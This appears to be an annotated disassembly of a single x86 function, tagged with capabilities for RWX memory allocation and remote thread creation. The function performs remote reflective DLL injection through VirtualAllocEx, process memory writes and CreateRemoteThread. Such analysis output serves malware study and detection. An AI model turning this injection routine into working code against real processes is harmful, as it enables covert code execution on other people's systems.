Function at 0x415400
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov byte [ebp - 1], 0
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00410ab0
add esp, 8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4156b7
push 0x1dc
push 0x4d95cc
mov edx, dword [0x517b78]
push edx
call fcn.00406cc0
add esp, 0xc
mov eax, dword [ebp - 0x1c]
push eax
call fcn.00410a30
add esp, 4
mov dword [ebp - 0x20], eax
mov ecx, dword [ebp - 0x20]
cmp dword [ecx + 0x28], 0
je 0x4156a3
push 0x1e1
push 0x4d9608
mov edx, dword [0x517b78]
push edx
call fcn.00406cc0
add esp, 0xc
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x30], ecx
mov edx, 0x4153f0
sub edx, 0x415390
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
add eax, 0xf0c
mov dword [ebp - 0x2c], eax
push 0x40
push 0x3000
mov ecx, dword [ebp - 0x2c]
push ecx
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x4156a3
push 0x1f3
push 0x4d9644
mov eax, dword [0x517b78]
push eax
call fcn.00406cc0
add esp, 0xc
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 0xc]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
lea edx, [ecx + eax + 0x14]
mov dword [ebp - 0x24], edx
push 0x1f9
push 0x4d9680
mov eax, dword [0x517b78]
push eax
call fcn.00406cc0
add esp, 0xc
xor ecx, ecx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x40], ecx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], ecx
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x48], edx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp + 0x10]
mov dword [ebp - 0x40], ecx
mov edx, dword [ebp - 0x24]
mov dword [ebp - 0x3c], edx
mov eax, dword [ebp - 0xc]
push eax
push 0x415390
mov ecx, dword [ebp - 8]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.00411610
add esp, 0x10
movzx eax, al
test eax, eax
je 0x41566b
push 0x14
lea ecx, [ebp - 0x48]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00411610
add esp, 0x10
movzx ecx, al
test ecx, ecx
je 0x41566b
push 0xef8
push 0x517ba8
mov edx, dword [ebp - 0x24]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.00411610
add esp, 0x10
movzx ecx, al
test ecx, ecx
je 0x41566b
push 0x204
push 0x4d96bc
mov edx, dword [0x517b78]
push edx
call fcn.00406cc0
add esp, 0xc
push 0
push 0
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x415669
push 0x209
push 0x4d96f8
mov eax, dword [0x517b78]
push eax
call fcn.00406cc0
add esp, 0xc
push 0xffffffffffffffff
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x28], 0x54fd32fc
lea edx, [ebp - 0x28]
push edx
mov eax, dword [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
test eax, eax
je 0x41565f
cmp dword [ebp - 0x28], 0xab02cd03
jne 0x41565f
push 0x210
push str.Log:RemoteReflectiveInjection::CallDllMain_Remote_at__d_n
mov ecx, dword [0x517b78]
push ecx
call fcn.00406cc0
add esp, 0xc
push 0x14
lea edx, [ebp - 0x48]
push edx
mov eax, dword [ebp - 0x14]
push eax
mov ecx, dword [ebp + 8]
push ecx
call fcn.00411590
add esp, 0x10
movzx edx, al
test edx, edx
je 0x41565f
mov al, byte [ebp - 0x38]
mov byte [ebp - 1], al
mov ecx, dword [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41568e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov edx, dword [ebp - 0x2c]
push edx
mov eax, dword [ebp - 8]
push eax
push str.Log:RemoteReflectiveInjection::CallDllMain_Remote_to_0x_p___lu__FAILED___Last_error:_0x_08X._n
mov ecx, dword [0x517b78]
push ecx
call fcn.00406cc0
add esp, 0x14
push 0x8000
push 0
mov edx, dword [ebp - 0x18]
push edx
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, dword [ebp - 0x1c]
mov dword [ebp - 0x34], ecx
push 0
mov edx, dword [ebp - 0x34]
push edx
call fcn.00416898
add esp, 8
movzx eax, byte [ebp - 1]
mov esp, ebp
pop ebp
ret